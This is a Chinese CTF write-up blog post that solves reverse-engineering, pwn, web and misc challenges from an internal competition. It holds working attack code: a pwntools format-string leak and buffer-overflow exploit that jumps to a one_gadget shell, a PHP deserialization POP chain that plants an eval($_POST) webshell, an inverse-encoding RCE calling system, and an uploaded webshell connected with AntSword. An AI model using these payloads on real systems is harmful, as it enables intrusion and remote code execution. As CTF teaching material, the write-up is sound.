CTF 内部赛相关题目,平台题目 web/re/pwn/misc WriteUp

re

clock

进去main函数后一顿分析。rc4加密,随机数异或,base64换表。按照提示的时间2021.1.23 4:56:00 进行 srand(seed), 搞出来的结果不对。

后来又给了提示fini。

在fini函数交叉引用一下,发现在start函数后,(_libc_start_main)(main, retaddr, v3, init, fini, a2, v2, a1);

执行完main还有执行fini。。。又在函数列表找到某个函数。 看了交叉引用 显示 fini array。很可疑。下个断点,main函数后会执行这里。。。需要解决随机数问题。。

unsigned __int64 sub_559E25D7BF18()
{
  unsigned int v0; // eax
  signed int i; // [rsp+0h] [rbp-A0h]
  char v3; // [rsp+50h] [rbp-50h]
  unsigned __int64 v4; // [rsp+98h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v0 = time(0LL);
  srand(v0); //这里下断 markA
  if ( rand() == 1515432825 ) // 先搞定随机数
  {
    for ( i = 0; i <= 902; ++i )
      *(sub_559E25F7D020 + i) ^= rand(); // sub_559E25F7D020是加密的代码。异或后应该能解密。
    __isoc99_scanf("%42s", &v3);
    if ( sub_559E25F7D020(&v3, &v3, &v3) != 42 )
      exit(-1);
  }  //这里下断 markB
  return __readfsqword(0x28u) ^ v4;
}

运行程序有个时间提示,这是个假时间,根据提示的时间扩大一下范围进行爆破

#include <stdio.h>
#include <stdlib.h>

// 1609448160 -- 2021,  1,  1, 4, 56, 0
// 1671742560 -- 2022, 12, 23, 4, 56, 0
int main() {
    for (int i = 1609448160; i < 1671742560; ++i) {
        int seed = i;
        srand(seed); 
        if (rand() == 1515432825) {
            printf("%d\n", seed);
            break;
        }

    }
    return 0;
}

爆出seed值。在markA下断点。直接修改寄存器eax值为seed值。然后在markB执行到markB处。让IDA运行将程序解密。然后选择好解密位置的第一个数值处。按下P创建函数。

__int64 __fastcall sub_559E25F7D020(__int64 a1, __int64 a2, __int64 a3) {
    __int64 result;
    __int64 v4;
    unsigned __int64
    v5;
    signed int i;
    int key1ptr;
    int v8;
    int v9;
    int v10;
    int v11;
    int v12;
    int v13;
    int v14;
    int v15;
    int v16;
    int v17;
    int v18;
    int v19;
    int v20;
    int v21;
    int v22;
    int v23;
    int v24;
    int v25;
    int v26;
    int v27;
    int v28;
    int v29;
    int v30;
    int v31;
    int v32;
    int v33;
    int v34;
    int v35;
    int v36;
    int v37;
    int v38;
    int v39;
    int v40;
    int v41;
    int v42;
    int v43;
    int v44;
    int v45;
    int v46;
    int v47;
    int v48;
    int key2ptr;
    int v50;
    int v51;
    int v52;
    int v53;
    int v54;
    int v55;
    int v56;
    int v57;
    int v58;
    int v59;
    int v60;
    int v61;
    int v62;
    int v63;
    int v64;
    int v65;
    int v66;
    int v67;
    int v68;
    int v69;
    int v70;
    int v71;
    int v72;
    int v73;
    int v74;
    int v75;
    int v76;
    int v77;
    int v78;
    int v79;
    int v80;
    int v81;
    int v82;
    int v83;
    int v84;
    int v85;
    int v86;
    int v87;
    int v88;
    int v89;
    int v90;
    unsigned __int64
    v91;

    v91 = __readfsqword(0x28u);
    key1ptr = 61;
    v8 = 159;
    v9 = 9;
    v10 = 29;
    v11 = 146;
    v12 = 126;
    v13 = 169;
    v14 = 130;
    v15 = 106;
    v16 = 19;
    v17 = 233;
    v18 = 31;
    v19 = 142;
    v20 = 51;
    v21 = 80;
    v22 = 143;
    v23 = 113;
    v24 = 7;
    v25 = 29;
    v26 = 251;
    v27 = 28;
    v28 = 209;
    v29 = 237;
    v30 = 15;
    v31 = 152;
    v32 = 82;
    v33 = 22;
    v34 = 39;
    v35 = 215;
    v36 = 245;
    v37 = 155;
    v38 = 56;
    v39 = 89;
    v40 = 220;
    v41 = 239;
    v42 = 87;
    v43 = 82;
    v44 = 180;
    v45 = 252;
    v46 = 235;
    v47 = 117;
    v48 = 11;
    key2ptr = 91;
    v50 = 243;
    v51 = 104;
    v52 = 122;
    v53 = 233;
    v54 = 77;
    v55 = 203;
    v56 = 225;
    v57 = 93;
    v58 = 39;
    v59 = 217;
    v60 = 126;
    v61 = 187;
    v62 = 30;
    v63 = 103;
    v64 = 187;
    v65 = 21;
    v66 = 62;
    v67 = 48;
    v68 = 207;
    v69 = 126;
    v70 = 225;
    v71 = 136;
    v72 = 34;
    v73 = 249;
    v74 = 102;
    v75 = 115;
    v76 = 23;
    v77 = 250;
    v78 = 150;
    v79 = 250;
    v80 = 94;
    v81 = 111;
    v82 = 236;
    v83 = 214;
    v84 = 53;
    v85 = 101;
    v86 = 215;
    v87 = 205;
    v88 = 136;
    v89 = 69;
    v90 = 118;
    for (i = 0; i <= 41; ++i) {
        a3 = *(&key1ptr + i) ^ *(i + a1);  // key1逐位和输入字符异或
        if (a3 != *(&key2ptr + i))         // 和key2比较, 那我key1和key2异或不就完了么
            break;
    }
    result = i;
    v5 = __readfsqword(0x28u);
    v4 = v5 ^ v91;
    if (v5 != v91)
        result = (unk_559E25F7C8E5)(a1, a2, a3, v4);
    return result;
}

把key1和key2数组提取出来。异或执行一下。即可得到flag

key1 = [61, 159, 9, 29, 146, 126, 169, 130, 106, 19, 233, 31, 142, 51, 80, 143, 113, 7, 29, 251, 28, 209, 237, 15, 152, 82, 22, 39, 215, 245, 155, 56, 89, 220, 239, 87, 82, 180, 252, 235, 117, 11, 91, 243, 104, 122, 233, 77, 203, 225, 93, 39, 217, 126, 187, 30, 103, 187, 21, 62, 48, 207, 126, 225, 136, 34, 249, 102, 115, 23, 250, 150, 250, 94, 111, 236, 214, 53, 101, 215, 205, 136, 69, 118]
key2 = [91, 243, 104, 122, 233, 77, 203, 225, 93, 39, 217, 126, 187, 30, 103, 187, 21, 62, 48, 207, 126, 225, 136, 34, 249, 102, 115, 23, 250, 150, 250, 94, 111, 236, 214, 53, 101, 215, 205, 136, 69, 118]

for i, _ in enumerate(key2):
    ch = key1[i] ^ key2[i]
    print(chr(ch), end='')


补充一下。

爆出seed值后,如果按顺序进行解密。。。先将input值 1.rc4加密。2.随机异或,3.base表替换,可以按下面的脚本进行, 在linux下运行。

from Crypto.Cipher import ARC4
import base64
from ctypes import *

libc_path = "/lib/x86_64-linux-gnu/libc.so.6"

seed = 1614027360
word = 'QAZWSXEDCRFVTGBYHNUJMIKLOP+1029384756/lkjhgfdsaqwertyuiopmnbvcxz'
key4 = 'qkkGPsoiRuteKS+tGYPnPqIGw/1iDobKToZUPkn9JlLW'


def custom_base(cipher):
    import base64

    my_base64chars = word
    STD_BASE64CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

    cipher = cipher.translate(str.maketrans(my_base64chars, STD_BASE64CHARS))
    data = base64.b64decode(cipher)
    return data


libc = cdll.LoadLibrary(libc_path)
libc.srand(seed)


def rand():
    return libc.rand()


def rc4_decrypt(msg, key):
    cipher = ARC4.new(key.encode())
    txt = base64.b64decode(msg)
    return cipher.decrypt(txt)


if __name__ == "__main__":
    key3 = custom_base(key4)
    lst_rand = []
    for i in range(len(key3)):
        lst_rand.append(rand())

    key2 = b""
    for i, e in enumerate(lst_rand):
        key2 += bytes([(lst_rand[i] ^ key3[i]) & 0xff])
    key2 = base64.b64encode(key2)
    hint = rc4_decrypt(key2, 'how_time_flies')
    print(hint)  # b'There_is_something_after_the_end.'

只能得到一个提示There_is_something_after_the_end。所以最后还是需要解密的关键代码的。

你文件没了快打钱

ida加载看到smc类型。进start最后一行下断点

.hacker:00407C4D jmp     dword ptr [ebp-4]

跳转后

// positive sp value has been detected, the output may be wrong!
int __usercall sub_40150B@<eax>(int a1@<ebp>, int a2@<esi>)
{
  ...
  v9 = ((int (*)(void))sub_401FE6)();
  v10 = *(_DWORD *)((int (*)(void))sub_402010)();
  v11 = (_DWORD *)((int (*)(void))sub_40200A)();
  a2 = ((int (__cdecl *)(_DWORD, int, int))sub_4012A0)(*v11, v10, v9); // main 直接进这里
  if ( !(unsigned __int8)sub_401AF1() )  
LABEL_19:
    sub_401FF8(a2);
  if ( !v2 )
    ((void (*)(void))sub_402016)();
  sub_40184E(1, 0);
  *(_DWORD *)(a1 - 4) = -2;
  return a2;
}

一眼找main 进入后找到关键信息

          do
          {
            *(_BYTE *)(v8 + v6) ^= *(_BYTE *)(v8 + v6 + 1);
            ++v8;
          }
          while ( v8 < v7 );

方式二 x64dbg运行到 smc 解压后 dump出来再ida分析。会包括库信息,看起来更友好。

exp

with open('encrypted', 'rb') as f:
    txt = bytearray(f.read())
    for i in range(1, len(txt))[::-1]:
        txt[i - 1] ^= txt[i]
    print(txt)
# bytearray(b'flag{c6900da9-6fcb-43c8-82f7-d13e55a7a24d}')

babyp

babyp

import struct
import string
from itertools import product

# printable = string.printable + string.digits + '_{}'
printable = string.ascii_lowercase + string.digits + '_{}-\x00'

enc = '60DB4A66E5089A77BC467338C20B36326877F926A1020F2D923DA472ABD84564E3760D391EBF91315C68150FF381A509'
enc_str = bytes.fromhex(enc)
print(enc_str)
print(len(enc_str))

"""
  v8 = strlen(a1)
  for ( i = 0  i += 8 )                       //  8个1组
  {
    result = i
    if ( i >= v8 )
      break
    str1 = *(_DWORD *)s                        // 前4
    str2 = *((_DWORD *)s + 1)                  // 后4B
    for ( j = 0 j <= 2 ++j )
    {
      t_str2 = str2
      str2 = str1 ^ sub_55B62C8DB293(str2)
      str1 = t_str2
    }
    *a2 = str1
    a2[1] = str2
    a2 += 2
    s += 8
  }
  return result

__int64 sub_55B62C8DB249()
{
  __int64 result // rax

  dword_55B62C8DE010 = 3054 * dword_55B62C8DE010 - 563
  result = dword_55B62C8DE010 % 0x123456EFu
  dword_55B62C8DE010 %= 0x123456EFu
  return result
}
__int64 __fastcall sub_55B62C8DB293(int a1)
{
  sub_55B62C8DB249()
  return ~(a1 ^ (unsigned int)dword_55B62C8DE010)
}
"""
dword_55B62C8DE010 = 0x789ABCD


def hash():
    global dword_55B62C8DE010
    dword_55B62C8DE010 = (3054 * dword_55B62C8DE010 - 563) & 0xffffffff
    dword_55B62C8DE010 %= 0x123456EF
    return dword_55B62C8DE010


def str2enc(n_str2):
    result = hash()
    c2 = n_str2 ^ result
    # print(hex(c2))
    nc2 = ~c2 & 0xffffffff
    # print(hex(nc2))
    return nc2


s = "1234" * 12


def bf(right_s1, right_s2, hash):
    global dword_55B62C8DE010
    dword_55B62C8DE010 = hash
    n1 = struct.unpack("I", right_s1)[0]
    n2 = struct.unpack("I", right_s2)[0]

    str1, str2 = '', ''

    for lst_s2 in product(printable, repeat=4):
        str1 = ''.join(lst_s2)
        # str1 = 'flag'
        n_str1 = struct.unpack("I", str1.encode())[0]

        # for lst_s2 in product(printable, repeat=4):

        dword_55B62C8DE010 = hash
        # str2 = ''.join(lst_s2)
        # str2 = 'aaaa'
        str2 = 'aaab'

        n_str2 = struct.unpack("I", str2.encode())[0]
        os1, os2 = str1, str2

        # n_str1 根据 str2不同,只有2种值。指定一下加速爆破
        t_str2 = n_str2
        n_str2 = n_str1 ^ str2enc(n_str2)
        n_str1 = t_str2
        # str1,str2 = str2, str1 ^ str2enc(str2)

        t_str2 = n_str2  # str1 ^ str2enc(str2)
        n_str2 = n_str1 ^ str2enc(n_str2)  # str2 ^ str2enc(str2) ^ str2enc(str2)
        n_str1 = t_str2  # str1 ^ str2enc(str2)

        t_str2 = n_str2
        n_str2 = n_str1 ^ str2enc(n_str2)
        n_str1 = t_str2

        if n_str1 == n1:
            # if n_str2 == n2:
            # if n_str2 == n2 and n_str1 == n1:
            print('right s1:', os1)
            str1 = os1
            break
    else:
        print('not found s1')

    const_nstr1 = struct.unpack("I", str1.encode())[0]
    for lst_s2 in product(printable, repeat=4):
        dword_55B62C8DE010 = hash
        str2 = ''.join(lst_s2)
        n_str2 = struct.unpack("I", str2.encode())[0]
        os2 = str2

        n_str1 = const_nstr1

        # n_str1 根据 str2不同,只有2种值。指定一下加速爆破
        t_str2 = n_str2
        n_str2 = n_str1 ^ str2enc(n_str2)
        n_str1 = t_str2
        # str1,str2 = str2, str1 ^ str2enc(str2)

        t_str2 = n_str2  # str1 ^ str2enc(str2)
        n_str2 = n_str1 ^ str2enc(n_str2)  # str2 ^ str2enc(str2) ^ str2enc(str2)
        n_str1 = t_str2  # str1 ^ str2enc(str2)

        t_str2 = n_str2
        n_str2 = n_str1 ^ str2enc(n_str2)
        n_str1 = t_str2

        if n_str2 == n2:
            # if n_str2 == n2 and n_str1 == n1:
            print('right s2', os2)
            break
    else:
        print('not found s2')

    dword_55B62C8DE010 = hash


for i in range(0, 48, 8):
    right_s1 = enc_str[i:i + 4]
    right_s2 = enc_str[i + 4:i + 8]

    bf(right_s1, right_s2, dword_55B62C8DE010)
    hash()
    hash()
    hash()
    print()

# flag{4af9e388-2812-48af-911d-fee9e17a8c0 爆到这里发现 最后4位不够。只有2位。加入\x00爆破
# flag{4af9e388-2812-48af-911d-fee9e17a8c09}

pwn - music

在 name 里有个4位长度的 printf漏洞。

使用gdb调试, 可以发现printf处 r9寄存器处保存了stdout地址,leak出来%5$p,输出去查一下libc。

小知识: x64程序中printf读取参数顺序如下 rdi, rsi, rdx, rcx, r8, r9, 其余在栈上。

gdb.attach(io, "b *$rebase(0x10ac)")

然后用one_gadget找出偏移,加上基址getshell。

是漏洞点2在music的copy函数里。覆盖256+8个字节+ret_addr
输入的字符串会转成doramifasoalxi。。其余的才能正常计数。这里用的a所以 (counta * 2 +8) = 256 +8, 所以输入了132个a。

如果不转换可以用x

int __cdecl copy(char *src, int len)
{
  char music_str3[256]; // [rsp+10h] [rbp-100h] BYREF

  memset(music_str3, 0, sizeof(music_str3));
  memcpy(music_str3, src, len);
  return 0;
}
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
from pwn import *

context.arch = 'amd64'
io = process('./music', env={"LD_PRELOAD": "./libc6_2.23-0ubuntu11.2_amd64.so"})  # 自定义预加载libc.so
e = ELF('./libc6_2.23-0ubuntu11.2_amd64.so')
# gdb.attach(io, "b *$rebase(0x10ac)")

io.sendline('%5$p')
print(io.recvuntil('0x'))
addr = int(io.recv(12), 16)
print('addr is ', hex(addr))

stdout = e.symbols['_IO_2_1_stdout_']
base = addr - stdout
one = base + 0x45226  # one_gadget

payload = flat('a' * 132, one)
# payload = flat('x' * (256+8), one)
io.sendline(payload)
io.interactive()

参考链接 https://gitee.com/rencvn/pwn_-exp/blob/master/music/exp.py

Web

ezUp

扫描得到 http://eci-2zebuqub6vf0oerwn6ym.cloudeci1.ichunqiu.com/.index.php.swp 源码

<?php

//error_reporting(0);

if(!isset($_SESSION['source']))
{
    $_SESSION['source'] = sha1(rand(0,1000));
}
    
$finalPos  = getcwd() . "/upload/" . sha1($_SESSION['source']);

$filePos = $finalPos . "/" . basename($fileName);

上传后文件会放到 /upload/随机sha(0,1000)/

使用 burp 爆破后访问到 /upload/8c4a0a7afbb10de1e63107ce71805605f1a81765/shell.php

http://eci-2zebuqub6vf0oerwn6ym.cloudeci1.ichunqiu.com/upload/8c4a0a7afbb10de1e63107ce71805605f1a81765/shell.php

蚁剑连接

Easypop

"""
<?php

class Backdoor {
    public $x;
    public $y;

    public function __invoke(){
        if( ($this->x != $this->y) && (md5($this->x) === md5($this->y)) ){
            if(!preg_match("/\<\?php/", $this->x, $match)){
                eval($this->x);
            } else {
                die("No Way!");
            }

        } else {
            die("Keep it up......");
        }
    }
}


class Entrance{
    public $name;
    public $str;
    public function __construct(){
        $this->name = "Bunny";
    }
    public function __toString(){
        return $this->str->name;
    }

    public function __wakeup(){
        echo 'Welcome, '.$this->name."<br>";
    }
}


class Test{
    public $z;
    public function __construct(){
        $this->z = array();
    }

    public function __get($key){
        $function = $this->z;
        return $function();
    }
}
$e=new Entrance();
$e1=new Entrance();
$e->name=$e1;
$t=new Test();
$e1->str=$t;
$d=new Backdoor();
$t->z=$d;
$s='?><?=@eval($_POST[1]); ?>';
$x=new Error($s,1);$y=new Error($s,2);
$d->x=$x;
$d->y=$y;
echo urlencode(serialize($e));
"""
import requests

url = 'http://eci-2zeguqesv3v7kc8pzzga.cloudeci1.ichunqiu.com/?poc=O%3A8%3A%22Entrance%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A8%3A%22Entrance%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22Bunny%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22z%22%3BO%3A8%3A%22Backdoor%22%3A2%3A%7Bs%3A1%3A%22x%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3F%3E%3C%3F%3D%40eval%28%24_POST%5B1%5D%29%3B+%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A25%3A%22D%3A%5Cphpstudy_pro%5CWWW%5C2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A57%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A1%3A%22y%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3F%3E%3C%3F%3D%40eval%28%24_POST%5B1%5D%29%3B+%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A25%3A%22D%3A%5Cphpstudy_pro%5CWWW%5C2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A57%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D'
res = requests.post(url, data={'1': 'phpinfo();'})
print(res.text)

蚁剑连接。使用 bypass disabled function插件 : PHP 7.0-8.0 disable_functions bypass [user_filter] 获取flag.

ezrce

git 泄露。反码绕过

import requests

url = 'http://eci-2zeb815npjx8x2tordsp.cloudeci1.ichunqiu.com/1ndex.php?str=${%s}'


def inv_code(txt):
    r = [~ord(x) & 0xff for x in txt]
    inv = '~' + ''.join(f'%{x:x}' for x in r)
    print(inv)
    return inv


system = inv_code('system')
cmd = inv_code('ls')
new_url = url % f'({system})({cmd})'
print(new_url)

print(requests.get(new_url).text)

Misc

flow_analysis

37200 包发现蚁剑流量包,解密要删除前2位。

Form item: "bd6d05dc659984" = "kNL3Jvb3Qv"
Form item: "bd6d05dc659984" = "KfL2hvbWUvaGFuemhlLw=="

37251 读取 flag /home/hanzhe/F1aggg
解码 f359fSlJMVktNQ09OSlJYSVRTVUlGNUU0MkpRR05NWFUzREpKUktFU05DT0dKTVRFVDJFS0UyRlVSQ1dOVkdUR01CNQ==
删除前几位 base64 -> base32 -> base64 得到 -e467-5036-7c9b-287f6848d5f3}
uuid格式缺少前8位 flag{********-e467-5036-7c9b-287f6848d5f3}

37271 包 /home/hanzhe/flag response: f7bfb17bdd96ca6bc
37300 包 64c005d#Halo AntSword!0d5ba1691
找到下不在后面,可能在注入的密码中。在前面找到注入hint时 17842包 得到 f。后面依次得到。

flag{a3eb0ff8

flag{a3eb0ff8-e467-5036-7c9b-287f6848d5f3}
posted @ 2021-08-11 19:20  wgf4242  阅读(665)  评论(0编辑  收藏  举报